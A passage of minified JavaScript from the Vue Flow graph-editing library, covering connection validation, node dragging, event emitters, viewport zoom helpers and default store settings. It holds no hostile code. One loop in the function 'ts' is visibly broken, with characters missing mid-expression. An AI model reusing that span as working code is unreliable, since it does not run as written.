0:t.type}"]`):null,{x:S,y:$}=Qe(e),N=s.elementFromPoint(S,$),v=N!=null&&N.classList.contains(`${a}-flow__handle`)?N:b,x={handleDomNode:v,isValid:!1,connection:null,toHandle:null};if(v){const D=qa(void 0,v),V=v.getAttribute("data-nodeid"),F=v.getAttribute("data-handleid"),B=v.classList.contains("connectable"),G=v.classList.contains("connectableend");if(!V||!D)return x;const L={source:_?V:o,sourceHandle:_?F:i,target:_?o:V,targetHandle:_?i:F};x.connection=L;const C=B&&G&&(n===xt.Strict?_&&D==="source"||!_&&D==="target":V!==o||F!==i);x.isValid=C&&u(L,{nodes:d,edges:c,sourceNode:h(L.source),targetNode:h(L.target)}),x.toHandle=Ka(V,D,F,g,n,!0)}return x}function qa(e,t){return e||(t!=null&&t.classList.contains("target")?"target":t!=null&&t.classList.contains("source")?"source":null)}function fg(e,t){let n=null;return t?n="valid":e&&!t&&(n="invalid"),n}function hg(e,t){let n=null;return t?n=!0:e&&!t&&(n=!1),n}function Ka(e,t,n,o,i,r=!1){var s,a,l;const u=o.get(e);if(!u)return null;const c=i===xt.Strict?(s=u.handleBounds)==null?void 0:s[t]:[...((a=u.handleBounds)==null?void 0:a.source)??[],...((l=u.handleBounds)==null?void 0:l.target)??[]],d=(n?c==null?void 0:c.find(h=>h.id===n):c==null?void 0:c[0])??null;return d&&r?{...d,...Qt(u,d,d.position,!0)}:d}const Ai={[J.Left]:J.Right,[J.Right]:J.Left,[J.Top]:J.Bottom,[J.Bottom]:J.Top},gg=["production","prod"];function zn(e,...t){Ja()&&console.warn(`[Vue Flow]: ${e}`,...t)}function Ja(){return!gg.includes("production")}function es(e,t,n,o,i){const r=t.querySelectorAll(`.vue-flow__handle.${e}`);return r!=null&&r.length?Array.from(r).map(s=>{const a=s.getBoundingClientRect();return{id:s.getAttribute("data-handleid"),type:e,nodeId:i,position:s.getAttribute("data-handlepos"),x:(a.left-n.left)/o,y:(a.top-n.top)/o,...Vo(s)}}):null}function Di(e,t,n,o,i,r=!1,s){i.value=!1,e.selected?(r||e.selected&&t)&&(o([e]),Ye(()=>{s.blur()})):n([e])}function Ie(e){return typeof P(e)<"u"}function pg(e,t,n,o){if(!e||!e.source||!e.target)return n(new Ae(Oe.EDGE_INVALID,(e==null?void 0:e.id)??"[ID UNKNOWN]")),!1;let i;return $t(e)?i=e:i={...e,id:Ya(e)},i=La(i,void 0,o),Uh(i,t)?!1:i}function vg(e,t,n,o,i){if(!t.source||!t.target)return i(new Ae(Oe.EDGE_INVALID,e.id)),!1;if(!n)return i(new Ae(Oe.EDGE_NOT_FOUND,e.id)),!1;const{id:r,...s}=e;return{...s,id:o?Ya(t):r,source:t.source,target:t.target,sourceHandle:t.sourceHandle,targetHandle:t.targetHandle}}function ts(e,t,n){const o={},i=[];for(let r=0;ra.id===r.parentNode);r.parentNode&&!s&&n(new Ae(Oe.NODE_MISSING_PARENT,r.id,r.parentNode)),(r.parentNode||o[r.id])&&(o[r.id]&&(r.isParent=!0),s&&(s.isParent=!0))}return i}function ns(e,t,n,o,i,r){let s=i;const a=o.get(s)||new Map;o.set(s,a.set(n,t)),s=`${i}-${e}`;const l=o.get(s)||new Map;if(o.set(s,l.set(n,t)),r){s=`${i}-${e}-${r}`;const u=o.get(s)||new Map;o.set(s,u.set(n,t))}}function si(e,t,n){e.clear();for(const o of n){const{source:i,target:r,sourceHandle:s=null,targetHandle:a=null}=o,l={edgeId:o.id,source:i,target:r,sourceHandle:s,targetHandle:a},u=`${i}-${s}--${r}-${a}`,c=`${r}-${a}--${i}-${s}`;ns("source",l,c,e,i,s),ns("target",l,u,e,r,a)}}function os(e,t){if(e.size!==t.size)return!1;for(const n of e)if(!t.has(n))return!1;return!0}function ai(e,t,n,o,i,r,s,a){const l=[];for(const u of e){const c=$t(u)?u:pg(u,a,i,r);if(!c)continue;const d=n(c.source),h=n(c.target);if(!d||!h){i(new Ae(Oe.EDGE_SOURCE_TARGET_MISSING,c.id,c.source,c.target));continue}if(!d){i(new Ae(Oe.EDGE_SOURCE_MISSING,c.id,c.source));continue}if(!h){i(new Ae(Oe.EDGE_TARGET_MISSING,c.id,c.target));continue}if(t&&!t(c,{edges:a,nodes:s,sourceNode:d,targetNode:h})){i(new Ae(Oe.EDGE_INVALID,c.id));continue}const g=o(c.id);l.push({...La(c,g,r),sourceNode:d,targetNode:h})}return l}const is=Symbol("vueFlow"),Qa=Symbol("nodeId"),el=Symbol("nodeRef"),mg=Symbol("edgeId"),yg=Symbol("edgeRef"),Lo=Symbol("slots");function tl(e){const{vueFlowRef:t,snapToGrid:n,snapGrid:o,noDragClassName:i,nodeLookup:r,nodeExtent:s,nodeDragThreshold:a,viewport:l,autoPanOnNodeDrag:u,autoPanSpeed:c,nodesDraggable:d,panBy:h,findNode:g,multiSelectionActive:_,nodesSelectionActive:b,selectNodesOnDrag:S,removeSelectedElements:$,addSelectedNodes:N,updateNodePositions:v,emits:x}=Ne(),{onStart:D,onDrag:V,onStop:F,onClick:B,el:G,disabled:L,id:R,selectable:C,dragHandle:X}=e,p=Et(!1);let k=[],w,O=null,T={x:void 0,y:void 0},z={x:0,y:0},A=null,Y=!1,q=!1,ne=0,re=!1;const Z=bg(),K=({x:le,y:ee})=>{T={x:le,y:ee};let y=!1;if(k=k.map(f=>{const m={x:le-f.distance.x,y:ee-f.distance.y},{computedPosition:I}=sr(f,n.value?Ho(m,o.value):m,x.error,s.value,f.parentNode?g(f.parentNode):void 0);return y=y||f.position.x!==I.x||f.position.y!==I.y,f.position=I,f}),q=q||y,!!y&&(v(k,!0,!0),p.value=!0,A)){const[f,m]=ii({id:R,dragItems:k,findNode:g});V({event:A,node:f,nodes:m})}},Q=()=>{if(!O)return;const[le,ee]=ja(z,O,c.value);if(le!==0||ee!==0){const y={x:(T.x??0)-le/l.value.zoom,y:(T.y??0)-ee/l.value.zoom};h({x:le,y:ee})&&K(y)}ne=requestAnimationFrame(Q)},ce=(le,ee)=>{Y=!0;const y=g(R);!S.value&&!_.value&&y&&(y.selected||$()),y&&ge(C)&&S.value&&Di(y,_.value,N,$,b,!1,ee);const f=Z(le.sourceEvent);if(T=f,k=eg(r.value,d.value,f,R),k.length){const[m,I]=ii({id:R,dragItems:k,findNode:g});D({event:le.sourceEvent,node:m,nodes:I})}},me=(le,ee)=>{var y;le.sourceEvent.type==="touchmove"&&le.sourceEvent.touches.length>1||(q=!1,a.value===0&&ce(le,ee),T=Z(le.sourceEvent),O=((y=t.value)==null?void 0:y.getBoundingClientRect())||null,z=Qe(le.sourceEvent,O))},ue=(le,ee)=>{const y=Z(le.sourceEvent);if(!re&&Y&&u.value&&(re=!0,Q()),!Y){const f=y.xSnapped-(T.x??0),m=y.ySnapped-(T.y??0);Math.sqrt(f*f+m*m)>a.value&&ce(le,ee)}(T.x!==y.xSnapped||T.y!==y.ySnapped)&&k.length&&Y&&(A=le.sourceEvent,z=Qe(le.sourceEvent,O),K(y))},we=le=>{let ee=!1;if(!Y&&!p.value&&!_.value){const y=le.sourceEvent,f=Z(y),m=f.xSnapped-(T.x??0),I=f.ySnapped-(T.y??0),M=Math.sqrt(m*m+I*I);M!==0&&M<=a.value&&(B==null||B(y),ee=!0)}if(k.length&&!ee){q&&(v(k,!1,!1),q=!1);const[y,f]=ii({id:R,dragItems:k,findNode:g});F({event:le.sourceEvent,node:y,nodes:f})}k=[],p.value=!1,re=!1,Y=!1,T={x:void 0,y:void 0},cancelAnimationFrame(ne)};return Ee([()=>ge(L),G],([le,ee],y,f)=>{if(ee){const m=Ge(ee);le||(w=Fd().on("start",I=>me(I,ee)).on("drag",I=>ue(I,ee)).on("end",I=>we(I)).filter(I=>{const M=I.target,U=ge(X);return!I.button&&(!i.value||!qr(M,`.${i.value}`,ee)&&(!U||qr(M,U,ee)))}),m.call(w)),f(()=>{m.on(".drag",null),w&&(w.on("start",null),w.on("drag",null),w.on("end",null))})}}),p}function wg(){return{doubleClick:te(),click:te(),mouseEnter:te(),mouseMove:te(),mouseLeave:te(),contextMenu:te(),updateStart:te(),update:te(),updateEnd:te()}}function _g(e,t){const n=wg();return n.doubleClick.on(o=>{var i,r;t.edgeDoubleClick(o),(r=(i=e.events)==null?void 0:i.doubleClick)==null||r.call(i,o)}),n.click.on(o=>{var i,r;t.edgeClick(o),(r=(i=e.events)==null?void 0:i.click)==null||r.call(i,o)}),n.mouseEnter.on(o=>{var i,r;t.edgeMouseEnter(o),(r=(i=e.events)==null?void 0:i.mouseEnter)==null||r.call(i,o)}),n.mouseMove.on(o=>{var i,r;t.edgeMouseMove(o),(r=(i=e.events)==null?void 0:i.mouseMove)==null||r.call(i,o)}),n.mouseLeave.on(o=>{var i,r;t.edgeMouseLeave(o),(r=(i=e.events)==null?void 0:i.mouseLeave)==null||r.call(i,o)}),n.contextMenu.on(o=>{var i,r;t.edgeContextMenu(o),(r=(i=e.events)==null?void 0:i.contextMenu)==null||r.call(i,o)}),n.updateStart.on(o=>{var i,r;t.edgeUpdateStart(o),(r=(i=e.events)==null?void 0:i.updateStart)==null||r.call(i,o)}),n.update.on(o=>{var i,r;t.edgeUpdate(o),(r=(i=e.events)==null?void 0:i.update)==null||r.call(i,o)}),n.updateEnd.on(o=>{var i,r;t.edgeUpdateEnd(o),(r=(i=e.events)==null?void 0:i.updateEnd)==null||r.call(i,o)}),Object.entries(n).reduce((o,[i,r])=>(o.emit[i]=r.trigger,o.on[i]=r.on,o),{emit:{},on:{}})}function bg(){const{viewport:e,snapGrid:t,snapToGrid:n,vueFlowRef:o}=Ne();return i=>{var r;const s=((r=o.value)==null?void 0:r.getBoundingClientRect())??{left:0,top:0},a=sg(i)?i.sourceEvent:i,{x:l,y:u}=Qe(a,s),c=Nn({x:l,y:u},e.value),{x:d,y:h}=n.value?Ho(c,t.value):c;return{xSnapped:d,ySnapped:h,...c}}}function jn(){return!0}function nl({handleId:e,nodeId:t,type:n,isValidConnection:o,edgeUpdaterType:i,onEdgeUpdate:r,onEdgeUpdateEnd:s}){const{id:a,vueFlowRef:l,connectionMode:u,connectionRadius:c,connectOnClick:d,connectionClickStartHandle:h,nodesConnectable:g,autoPanOnConnect:_,autoPanSpeed:b,findNode:S,panBy:$,startConnection:N,updateConnection:v,endConnection:x,emits:D,viewport:V,edges:F,nodes:B,isValidConnection:G,nodeLookup:L}=Ne();let R=null,C=!1,X=null;function p(w){var O;const T=ge(n)==="target",z=ar(w),A=Yr(w.target),Y=w.currentTarget;if(Y&&(z&&w.button===0||!z)){let q=function(se){y=Qe(se,we),K=dg(Nn(y,V.value,!1,[1,1]),c.value,L.value,I),f||(m(),f=!0);const de=Qr(se,{handle:K,connectionMode:u.value,fromNodeId:ge(t),fromHandleId:ge(e),fromType:T?"target":"source",isValidConnection:Z,doc:A,lib:"vue",flowId:a,nodeLookup:L.value},F.value,B.value,S,L.value);X=de.handleDomNode,R=de.connection,C=hg(!!K,de.isValid);const he={...oe,isValid:C,to:de.toHandle&&C?kn({x:de.toHandle.x,y:de.toHandle.y},V.value):y,toHandle:de.toHandle,toPosition:C&&de.toHandle?de.toHandle.position:Ai[I.position],toNode:de.toHandle?L.value.get(de.toHandle.nodeId):null};if(C&&K&&(oe!=null&&oe.toHandle)&&he.toHandle&&oe.toHandle.type===he.toHandle.type&&oe.toHandle.nodeId===he.toHandle.nodeId&&oe.toHandle.id===he.toHandle.id&&oe.to.x===he.to.x&&oe.to.y===he.to.y)return;const be=K??de.toHandle;if(v(be&&C?kn({x:be.x,y:be.y},V.value):y,be,fg(!!be,C)),oe=he,!K&&!C&&!X)return ri(ee);R&&R.source!==R.target&&X&&(ri(ee),ee=X,X.classList.add("connecting","vue-flow__handle-connecting"),X.classList.toggle("valid",!!C),X.classList.toggle("vue-flow__handle-valid",!!C))},ne=function(se){"touches"in se&&se.touches.length>0||((K||X)&&R&&C&&(r?r(se,R):D.connect(R)),D.connectEnd(se),i&&(s==null||s(se)),ri(ee),cancelAnimationFrame(Q),x(se),f=!1,C=!1,R=null,X=null,A.removeEventListener("mousemove",q),A.removeEventListener("mouseup",ne),A.removeEventListener("touchmove",q),A.removeEventListener("touchend",ne))};const re=S(ge(t));let Z=ge(o)||G.value||jn;!Z&&re&&(Z=(T?re.isValidSourcePos:re.isValidTargetPos)||jn);let K,Q=0;const{x:ce,y:me}=Qe(w),ue=qa(ge(i),Y),we=(O=l.value)==null?void 0:O.getBoundingClientRect();if(!we||!ue)return;const le=Ka(ge(t),ue,ge(e),L.value,u.value);if(!le)return;let ee,y=Qe(w,we),f=!1;const m=()=>{if(!_.value)return;const[se,de]=ja(y,we,b.value);$({x:se,y:de}),Q=requestAnimationFrame(m)},I={...le,nodeId:ge(t),type:ue,position:le.position},M=L.value.get(ge(t)),j={inProgress:!0,isValid:null,from:Qt(M,I,J.Left,!0),fromHandle:I,fromPosition:I.position,fromNode:M,to:y,toHandle:null,toPosition:Ai[I.position],toNode:null};N({nodeId:ge(t),id:ge(e),type:ue,position:(Y==null?void 0:Y.getAttribute("data-handlepos"))||J.Top,...y},{x:ce-we.left,y:me-we.top}),D.connectStart({event:w,nodeId:ge(t),handleId:ge(e),handleType:ue});let oe=j;A.addEventListener("mousemove",q),A.addEventListener("mouseup",ne),A.addEventListener("touchmove",q),A.addEventListener("touchend",ne)}}function k(w){var O,T;if(!d.value)return;const z=ge(n)==="target";if(!h.value){D.clickConnectStart({event:w,nodeId:ge(t),handleId:ge(e)}),N({nodeId:ge(t),type:ge(n),id:ge(e),position:J.Top,...Qe(w)},void 0,!0);return}let A=ge(o)||G.value||jn;const Y=S(ge(t));if(!A&&Y&&(A=(z?Y.isValidSourcePos:Y.isValidTargetPos)||jn),Y&&(typeof Y.connectable>"u"?g.value:Y.connectable)===!1)return;const q=Yr(w.target),ne=Qr(w,{handle:{nodeId:ge(t),id:ge(e),type:ge(n),position:J.Top,...Qe(w)},connectionMode:u.value,fromNodeId:h.value.nodeId,fromHandleId:h.value.id??null,fromType:h.value.type,isValidConnection:A,doc:q,lib:"vue",flowId:a,nodeLookup:L.value},F.value,B.value,S,L.value),re=((O=ne.connection)==null?void 0:O.source)===((T=ne.connection)==null?void 0:T.target);ne.isValid&&ne.connection&&!re&&D.connect(ne.connection),D.clickConnectEnd(w),x(w,!0)}return{handlePointerDown:p,handleClick:k}}function Eg(){return Ht(Qa,"")}function ol(e){const t=e??Eg()??"",n=Ht(el,pe(null)),{findNode:o,edges:i,emits:r}=Ne(),s=o(t);return s||r.error(new Ae(Oe.NODE_NOT_FOUND,t)),{id:t,nodeEl:n,node:s,parentNode:ie(()=>o(s.parentNode)),connectedEdges:ie(()=>St([s],i.value))}}function xg(){return{doubleClick:te(),click:te(),mouseEnter:te(),mouseMove:te(),mouseLeave:te(),contextMenu:te(),dragStart:te(),drag:te(),dragStop:te()}}function $g(e,t){const n=xg();return n.doubleClick.on(o=>{var i,r;t.nodeDoubleClick(o),(r=(i=e.events)==null?void 0:i.doubleClick)==null||r.call(i,o)}),n.click.on(o=>{var i,r;t.nodeClick(o),(r=(i=e.events)==null?void 0:i.click)==null||r.call(i,o)}),n.mouseEnter.on(o=>{var i,r;t.nodeMouseEnter(o),(r=(i=e.events)==null?void 0:i.mouseEnter)==null||r.call(i,o)}),n.mouseMove.on(o=>{var i,r;t.nodeMouseMove(o),(r=(i=e.events)==null?void 0:i.mouseMove)==null||r.call(i,o)}),n.mouseLeave.on(o=>{var i,r;t.nodeMouseLeave(o),(r=(i=e.events)==null?void 0:i.mouseLeave)==null||r.call(i,o)}),n.contextMenu.on(o=>{var i,r;t.nodeContextMenu(o),(r=(i=e.events)==null?void 0:i.contextMenu)==null||r.call(i,o)}),n.dragStart.on(o=>{var i,r;t.nodeDragStart(o),(r=(i=e.events)==null?void 0:i.dragStart)==null||r.call(i,o)}),n.drag.on(o=>{var i,r;t.nodeDrag(o),(r=(i=e.events)==null?void 0:i.drag)==null||r.call(i,o)}),n.dragStop.on(o=>{var i,r;t.nodeDragStop(o),(r=(i=e.events)==null?void 0:i.dragStop)==null||r.call(i,o)}),Object.entries(n).reduce((o,[i,r])=>(o.emit[i]=r.trigger,o.on[i]=r.on,o),{emit:{},on:{}})}function il(){const{getSelectedNodes:e,nodeExtent:t,updateNodePositions:n,findNode:o,snapGrid:i,snapToGrid:r,nodesDraggable:s,emits:a}=Ne();return(l,u=!1)=>{const c=r.value?i.value[0]:5,d=r.value?i.value[1]:5,h=u?4:1,g=l.x*c*h,_=l.y*d*h,b=[];for(const S of e.value)if(S.draggable||s&&typeof S.draggable>"u"){const $={x:S.computedPosition.x+g,y:S.computedPosition.y+_},{position:N}=sr(S,$,a.error,t.value,S.parentNode?o(S.parentNode):void 0);b.push({id:S.id,position:N,from:S.position,distance:{x:l.x,y:l.y},dimensions:S.dimensions})}n(b,!0,!1)}}const Zn=.1,kg=e=>((e*=2)<=1?e*e*e:(e-=2)*e*e+2)/2;function vt(){return zn("Viewport not initialized yet."),Promise.resolve(!1)}const Ng={zoomIn:vt,zoomOut:vt,zoomTo:vt,fitView:vt,setCenter:vt,fitBounds:vt,project:e=>e,screenToFlowCoordinate:e=>e,flowToScreenCoordinate:e=>e,setViewport:vt,setTransform:vt,getViewport:()=>({x:0,y:0,zoom:1}),getTransform:()=>({x:0,y:0,zoom:1}),viewportInitialized:!1};function Sg(e){function t(o,i){return new Promise(r=>{e.d3Selection&&e.d3Zoom?e.d3Zoom.interpolate((i==null?void 0:i.interpolate)==="linear"?mn:ro).scaleBy(li(e.d3Selection,i==null?void 0:i.duration,i==null?void 0:i.ease,()=>{r(!0)}),o):r(!1)})}function n(o,i,r,s){return new Promise(a=>{var l;const{x:u,y:c}=Ha({x:-o,y:-i},e.translateExtent),d=Jt.translate(-u,-c).scale(r);e.d3Selection&&e.d3Zoom?(l=e.d3Zoom)==null||l.interpolate((s==null?void 0:s.interpolate)==="linear"?mn:ro).transform(li(e.d3Selection,s==null?void 0:s.duration,s==null?void 0:s.ease,()=>{a(!0)}),d):a(!1)})}return ie(()=>e.d3Zoom&&e.d3Selection&&e.dimensions.width&&e.dimensions.height?{viewportInitialized:!0,zoomIn:i=>t(1.2,i),zoomOut:i=>t(1/1.2,i),zoomTo:(i,r)=>new Promise(s=>{e.d3Selection&&e.d3Zoom?e.d3Zoom.interpolate((r==null?void 0:r.interpolate)==="linear"?mn:ro).scaleTo(li(e.d3Selection,r==null?void 0:r.duration,r==null?void 0:r.ease,()=>{s(!0)}),i):s(!1)}),setViewport:(i,r)=>n(i.x,i.y,i.zoom,r),setTransform:(i,r)=>n(i.x,i.y,i.zoom,r),getViewport:()=>({x:e.viewport.x,y:e.viewport.y,zoom:e.viewport.zoom}),getTransform:()=>({x:e.viewport.x,y:e.viewport.y,zoom:e.viewport.zoom}),fitView:(i={padding:Zn,includeHiddenNodes:!1,duration:0})=>{var r,s;const a=[];for(const h of e.nodes)h.dimensions.width&&h.dimensions.height&&((i==null?void 0:i.includeHiddenNodes)||!h.hidden)&&(!((r=i.nodes)!=null&&r.length)||(s=i.nodes)!=null&&s.length&&i.nodes.includes(h.id))&&a.push(h);if(!a.length)return Promise.resolve(!1);const l=rr(a),{x:u,y:c,zoom:d}=Gr(l,e.dimensions.width,e.dimensions.height,i.minZoom??e.minZoom,i.maxZoom??e.maxZoom,i.padding??Zn);return n(u,c,d,i)},setCenter:(i,r,s)=>{const a=typeof(s==null?void 0:s.zoom)<"u"?s.zoom:e.maxZoom,l=e.dimensions.width/2-i*a,u=e.dimensions.height/2-r*a;return n(l,u,a,s)},fitBounds:(i,r={padding:Zn})=>{const{x:s,y:a,zoom:l}=Gr(i,e.dimensions.width,e.dimensions.height,e.minZoom,e.maxZoom,r.padding??Zn);return n(s,a,l,r)},project:i=>Nn(i,e.viewport,e.snapToGrid,e.snapGrid),screenToFlowCoordinate:i=>{if(e.vueFlowRef){const{x:r,y:s}=e.vueFlowRef.getBoundingClientRect(),a={x:i.x-r,y:i.y-s};return Nn(a,e.viewport,e.snapToGrid,e.snapGrid)}return{x:0,y:0}},flowToScreenCoordinate:i=>{if(e.vueFlowRef){const{x:r,y:s}=e.vueFlowRef.getBoundingClientRect(),a={x:i.x+r,y:i.y+s};return kn(a,e.viewport)}return{x:0,y:0}}}:Ng)}function li(e,t=0,n=kg,o=()=>{}){const i=typeof t=="number"&&t>0;return i||o(),i?e.transition().duration(t).ease(n).on("end",o):e}function Cg(e,t,n){const o=na(!0);return o.run(()=>{const i=()=>{o.run(()=>{let b,S,$=!!(n.nodes.value.length||n.edges.value.length);b=Yt([e.modelValue,()=>{var N,v;return(v=(N=e.modelValue)==null?void 0:N.value)==null?void 0:v.length}],([N])=>{N&&Array.isArray(N)&&(S==null||S.pause(),n.setElements(N),!S&&!$&&N.length?$=!0:S==null||S.resume())}),S=Yt([n.nodes,n.edges,()=>n.edges.value.length,()=>n.nodes.value.length],([N,v])=>{var x;(x=e.modelValue)!=null&&x.value&&Array.isArray(e.modelValue.value)&&(b==null||b.pause(),e.modelValue.value=[...N,...v],Ye(()=>{b==null||b.resume()}))},{immediate:$}),no(()=>{b==null||b.stop(),S==null||S.stop()})})},r=()=>{o.run(()=>{let b,S,$=!!n.nodes.value.length;b=Yt([e.nodes,()=>{var N,v;return(v=(N=e.nodes)==null?void 0:N.value)==null?void 0:v.length}],([N])=>{N&&Array.isArray(N)&&(S==null||S.pause(),n.setNodes(N),!S&&!$&&N.length?$=!0:S==null||S.resume())}),S=Yt([n.nodes,()=>n.nodes.value.length],([N])=>{var v;(v=e.nodes)!=null&&v.value&&Array.isArray(e.nodes.value)&&(b==null||b.pause(),e.nodes.value=[...N],Ye(()=>{b==null||b.resume()}))},{immediate:$}),no(()=>{b==null||b.stop(),S==null||S.stop()})})},s=()=>{o.run(()=>{let b,S,$=!!n.edges.value.length;b=Yt([e.edges,()=>{var N,v;return(v=(N=e.edges)==null?void 0:N.value)==null?void 0:v.length}],([N])=>{N&&Array.isArray(N)&&(S==null||S.pause(),n.setEdges(N),!S&&!$&&N.length?$=!0:S==null||S.resume())}),S=Yt([n.edges,()=>n.edges.value.length],([N])=>{var v;(v=e.edges)!=null&&v.value&&Array.isArray(e.edges.value)&&(b==null||b.pause(),e.edges.value=[...N],Ye(()=>{b==null||b.resume()}))},{immediate:$}),no(()=>{b==null||b.stop(),S==null||S.stop()})})},a=()=>{o.run(()=>{Ee(()=>t.maxZoom,()=>{t.maxZoom&&Ie(t.maxZoom)&&n.setMaxZoom(t.maxZoom)},{immediate:!0})})},l=()=>{o.run(()=>{Ee(()=>t.minZoom,()=>{t.minZoom&&Ie(t.minZoom)&&n.setMinZoom(t.minZoom)},{immediate:!0})})},u=()=>{o.run(()=>{Ee(()=>t.translateExtent,()=>{t.translateExtent&&Ie(t.translateExtent)&&n.setTranslateExtent(t.translateExtent)},{immediate:!0})})},c=()=>{o.run(()=>{Ee(()=>t.nodeExtent,()=>{t.nodeExtent&&Ie(t.nodeExtent)&&n.setNodeExtent(t.nodeExtent)},{immediate:!0})})},d=()=>{o.run(()=>{Ee(()=>t.applyDefault,()=>{Ie(t.applyDefault)&&(n.applyDefault.value=t.applyDefault)},{immediate:!0})})},h=()=>{o.run(()=>{const b=async S=>{let $=S;typeof t.autoConnect=="function"&&($=await t.autoConnect(S)),$!==!1&&n.addEdges([$])};Ee(()=>t.autoConnect,()=>{Ie(t.autoConnect)&&(n.autoConnect.value=t.autoConnect)},{immediate:!0}),Ee(n.autoConnect,(S,$,N)=>{S?n.onConnect(b):n.hooks.value.connect.off(b),N(()=>{n.hooks.value.connect.off(b)})},{immediate:!0})})},g=()=>{const b=["id","modelValue","translateExtent","nodeExtent","edges","nodes","maxZoom","minZoom","applyDefault","autoConnect"];for(const S of Object.keys(t)){const $=S;if(!b.includes($)){const N=_e(()=>t[$]),v=n[$];Zi(v)&&o.run(()=>{Ee(N,x=>{Ie(x)&&(v.value=x)},{immediate:!0})})}}};(()=>{i(),r(),s(),l(),a(),u(),c(),d(),h(),g()})()}),()=>o.stop()}function Mg(){return{edgesChange:te(),nodesChange:te(),nodeDoubleClick:te(),nodeClick:te(),nodeMouseEnter:te(),nodeMouseMove:te(),nodeMouseLeave:te(),nodeContextMenu:te(),nodeDragStart:te(),nodeDrag:te(),nodeDragStop:te(),nodesInitialized:te(),miniMapNodeClick:te(),miniMapNodeDoubleClick:te(),miniMapNodeMouseEnter:te(),miniMapNodeMouseMove:te(),miniMapNodeMouseLeave:te(),connect:te(),connectStart:te(),connectEnd:te(),clickConnectStart:te(),clickConnectEnd:te(),paneReady:te(),init:te(),move:te(),moveStart:te(),moveEnd:te(),selectionDragStart:te(),selectionDrag:te(),selectionDragStop:te(),selectionContextMenu:te(),selectionStart:te(),selectionEnd:te(),viewportChangeStart:te(),viewportChange:te(),viewportChangeEnd:te(),paneScroll:te(),paneClick:te(),paneContextMenu:te(),paneMouseEnter:te(),paneMouseMove:te(),paneMouseLeave:te(),edgeContextMenu:te(),edgeMouseEnter:te(),edgeMouseMove:te(),edgeMouseLeave:te(),edgeDoubleClick:te(),edgeClick:te(),edgeUpdateStart:te(),edgeUpdate:te(),edgeUpdateEnd:te(),updateNodeInternals:te(),error:te(e=>zn(e.message))}}function Ig(e,t){const n=on();mu(()=>{for(const[i,r]of Object.entries(t.value)){const s=a=>{e(i,a)};r.setEmitter(s),_n(r.removeEmitter),r.setHasEmitListeners(()=>o(i)),_n(r.removeHasEmitListeners)}});function o(i){var r;const s=Tg(i);return!!((r=n==null?void 0:n.vnode.props)==null?void 0:r[s])}}function Tg(e){const[t,...n]=e.split(":");return`on${t.replace(/(?:^|-)(\w)/g,(i,r)=>r.toUpperCase())}${n.length?`:${n.join(":")}`:""}`}function rl(){return{vueFlowRef:null,viewportRef:null,nodes:[],edges:[],connectionLookup:new Map,nodeTypes:{},edgeTypes:{},initialized:!1,dimensions:{width:0,height:0},viewport:{x:0,y:0,zoom:1},d3Zoom:null,d3Selection:null,d3ZoomHandler:null,minZoom:.5,maxZoom:2,translateExtent:[[Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY],[Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY]],nodeExtent:[[Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY],[Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY]],selectionMode:ir.Full,paneDragging:!1,preventScrolling:!0,zoomOnScroll:!0,zoomOnPinch:!0,zoomOnDoubleClick:!0,panOnScroll:!1,panOnScrollSpeed:.5,panOnScrollMode:yn.Free,paneClickDistance:0,panOnDrag:!0,edgeUpdaterRadius:10,onlyRenderVisibleElements:!1,defaultViewport:{x:0,y:0,zoom:1},nodesSelectionActive:!1,userSelectionActive:!1,userSelectionRect:null,defaultMarkerColor:"#b1b1b7",connectionLineStyle:{},connectionLineType:null,connectionLineOptions:{type:Nt.Bezier,style:{}},connectionMode:xt.Loose,connectionStartHandle:null,connectionEndHandle:null,connectionClickStartHandle:null,connectionPosition:{x:Number.NaN,y:Number.NaN},connectionRadius:20,connectOnClick:!0,connectionStatus:null,isValidConnection:null,snapGrid:[15,15],snapToGrid:!1,edgesUpdatable:!1,edgesFocusable:!0,nodesFocusable:!0,nodesConnectable:!0,nodesDraggable:!0,nodeDragThreshold:1,elementsSelectable:!0,selectNodesOnDrag:!0,multiSelectionActive:!1,selectionKeyCode:"Shift",multiSelectionKeyCode:Cn()?"Meta":"Control",zoomActivationKeyCode:Cn()?"Meta":"Control",deleteKeyCode:"Backspace",panActivationKeyCode:"Space",hooks:Mg(),applyDefault:!0,autoConnect:!1,fitViewOnInit:!1,fitViewOnInitDone:!1,noDragClassName:"nodrag",noWheelClassName:"nowheel",noPanClassName:"nopan",defaultEdgeOptions:void 0,elevateEdgesOnSelect:!1,elevateNodesOnSelect:!0,autoPanOnNodeDrag:!0,autoPanOnConnect:!0,autoPanSpeed:15,disableKeyboardA11y:!1,ariaLiveMessage:""}}const Og=["id","vueFlowRef","viewportRef","initialized","modelValue","nodes","edges","maxZoom","minZoom","translateExtent","hooks","defaultEdgeOptions"];function Ag(e,t,n){const o=Sg(e),i=y=>{const f=y??[];e.hooks.updateNodeInternals.trigger(f)},r=y=>Wh(y,e.nodes,e.edges),s=y=>Xh(y,e.nodes,e.edges),a=y=>St(y,e.edges),l=({id:y,type:f,nodeId:m})=>{var I;const M=y?`-${f}-${y}`:`-${f}`;return Array.from(((I=e.connectionLookup.get(`${m}${M}`))==null?void 0:I.values())??[])},u=y=>{if(y)return t.value.get(y)},c=y=>{if(y)return n.value.get(y)},d=(y,f,m)=>{var I,M;const U=[];for(const j of y){const oe={id:j.id,type:"position",dragging:m,from:j.from};if(f&&(oe.position=j.position,j.parentNode)){const se=u(j.parentNode);oe.position={x:oe.position.x-(((I=se==null?void 0:se.computedPosition)==null?void 0:I.x)??0),y:oe.position.y-(((M=se==null?void 0:se.computedPosition)==null?void 0:M.y)??0)}}U.push(oe)}U!=null&&U.length&&e.hooks.nodesChange.trigger(U)},h=y=>{if(!e.vueFlowRef)return;const f=e.vueFlowRef.querySelector(".vue-flow__transformationpane");if(!f)return;const m=window.getComputedStyle(f),{m22:I}=new window.DOMMatrixReadOnly(m.transform),M=[];for(const U of y){const j=U,oe=u(j.id);if(oe){const se=Vo(j.nodeElement);if(!!(se.width&&se.height&&(oe.dimensions.width!==se.width||oe.dimensions.height!==se.height||j.forceUpdate))){const 